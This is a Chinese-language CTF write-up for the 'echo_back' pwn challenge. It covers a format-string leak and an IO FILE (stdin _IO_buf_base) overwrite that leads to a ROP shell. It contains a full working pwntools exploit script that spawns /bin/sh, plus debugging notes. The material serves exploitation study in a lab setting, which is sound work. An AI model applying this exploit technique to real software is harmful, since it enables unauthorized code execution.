攻防世界(pwn)echo_back writeup

checksec

保护全开

漏洞

攻防世界(pwn)echo_back writeup_第1张图片

利用要点

泄露关键信息

  1. pie开启 -> 泄露elf_base
  2. 泄露libc_base

攻击scanf

  1. 修改_IO_buf_base扩大可输入字符串数
  2. 进一步修改_IO_buf_base与_IO_buf_end实现指定位置写

具体实现

#! /usr/bin/env python
#coding:utf8
from pwn import *

local = 1
if local:
    p = process('./echo_back')
else:
    p = remote("111.198.29.45", 38784)

debug = 1
if debug:
    context.log_level = 'debug'

elf = ELF('./echo_back')
libc = ELF('./libc.so.6')
prdi = 0x0000000000000d93
main_P_addr = 0xc6c
IO_stdin = libc.symbols['_IO_2_1_stdin_']
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)

def echo_back(size, con):
    p.sendlineafter('choice>> ', '2')
    p.sendlineafter('length:', str(size))
    p.send(con)

def name(name):
    p.sendlineafter('choice>> ', '1')
    p.sendafter('name:', name)

# 泄露libc基址
echo_back(7, '%19$p')
p.recvuntil('0x')
libc_s_m_addr = int(p.recvuntil('-').split('-')[0], 16) - 240
print hex(libc_s_m_addr)

offset = libc_s_m_addr - libc.symbols['__libc_start_main']
system = libc.symbols['system'] + offset
bin_sh = libc.search('/bin/sh').next() + offset
IO_stdin_addr = IO_stdin + offset
print hex(offset)
# 泄露elf基址
echo_back(7, '%13$p')
p.recvuntil('0x')
elf_base = int(p.recvuntil('-', drop=True), 16) - 0xd08
prdi = prdi + elf_base
# 泄露main返回地址
echo_back(7, '%12$p')
p.recvuntil('0x')
main_ebp = int(p.recvuntil('-', drop=True), 16)
main_ret = main_ebp + 0x8
# 修改IO_buf_base,增大输入字符数
IO_buf_base = IO_stdin_addr + 0x8 * 7
print "IO_buf_base:"+hex(IO_buf_base)
name(p64(IO_buf_base))
echo_back(7, '%16$hhn')
# 输入payload,覆盖stdinFILE结构的关键参数
payload = p64(IO_stdin_addr + 131) * 3 + p64(main_ret) + p64(main_ret + 3 * 0x8)
p.sendlineafter('choice>> ', '2')
p.sendafter('length:', payload)
p.sendline('')
# 绕过_IO_new_file_underflow中检测
for i in range(0,len(payload) - 1):
    p.sendlineafter('choice>> ', '2')
    p.sendlineafter('length:', '0')
# 实现指定位置写
p.sendlineafter('choice>> ', '2')
p.sendlineafter('length:', p64(prdi) + p64(bin_sh) + p64(system))
p.sendline('')
# getshell
p.sendlineafter('choice>> ', '3')
p.interactive()

调试经验

  1. pie具体地址设断点

程序r起来以后ctrl+c跳出,或者在脚本中gdb.attach(io)
来到pwndbg调试界面找到pie后的具体位置
攻防世界(pwn)echo_back writeup_第2张图片
后三位偏移保持不变,前面即为具体位置,在echo_back返回前设置断点,c或者r重新调试
攻防世界(pwn)echo_back writeup_第3张图片

b *0x555555554c6a
r

键入7个a标识
攻防世界(pwn)echo_back writeup_第4张图片
发现在距离rsp13×8处有__libc_start_main,可泄露其地址得到libc基址
距离rsp8×8处有可疑地址,泄露得到elf基址
距离rsp7×8处有rbp的内容,即为main栈帧的rbp值,此值+8可以得到main的返回地址
攻防世界(pwn)echo_back writeup_第5张图片

  1. 本次格式化字符串最多只能输入7个字符,最多暴露三个地址,就不能简单地大量输入%p确定偏移了,需要调试

先调出__libc_start_main+240的具体地址,从%13$p开始依次增加,直到19才终于打印出来我们想要的值,故上述地址均能泄露。
需要注意的是printf在64位下前6个参数会先从寄存器取

  1. IO FILE的利用

_IO_new_file_underflow()最终调用_IO_SYSREAD()向指定位置写入,主要有如下地方需要绕过条件

// fp->_IO_read_ptr大于等于fp->_IO_read_end时才会接着执行
  if (fp->_IO_read_ptr < fp->_IO_read_end)              //!!
    return *(unsigned char *) fp->_IO_read_ptr;        //!!

   ...
// 读完后fp->_IO_read_end会增加
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,                 //!!
               fp->_IO_buf_end - fp->_IO_buf_base);         //!!
   ...    
  fp->_IO_read_end += count;

我们可以直接查看stdin的FILE结构,利用格式化字符串将_IO_buf_base的低一个字节改为\x00,这样在_IO_SYSREAD函数后将读入更多的字符,暂存在fp->_IO_buf_base中,进一步也能覆盖其中的_IO_buf_base为main函数的返回地址,同时由于输入后IO_read_end会大于_IO_read_ptr,我们需要绕过这个条件使下一次输入(写main函数的返回地址)能奏效,最终便可以修改main函数返回地址。
下图为FILE未受攻击前
攻防世界(pwn)echo_back writeup_第6张图片
修改_IO_buf_base后,可以看到它最多可以输入0x64个字节,并可以从0x7f2bc69eb900(恰好为_IO_write_base)开始覆盖
在这里插入图片描述
攻防世界(pwn)echo_back writeup_第7张图片
进一步覆盖后,可以看到_IO_buf_base便是main函数的返回地址,可以一直输入3×8个字节(pop_rdi_ret+bin_sh+system_addr)
攻防世界(pwn)echo_back writeup_第8张图片
最后需要调用几次getchar(),增加_IO_buf_ptr,结果如下,此时便可写入
攻防世界(pwn)echo_back writeup_第9张图片
可以看到确实把main函数返回地址改成了pop_rdi_ret,最终控制了函数流程
攻防世界(pwn)echo_back writeup_第10张图片

参考

https://blog.csdn.net/seaaseesa/article/details/103114909
https://blog.csdn.net/qq_43986365/article/details/104816255
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/

你可能感兴趣的:(IO,FILE与格式化字符串利用)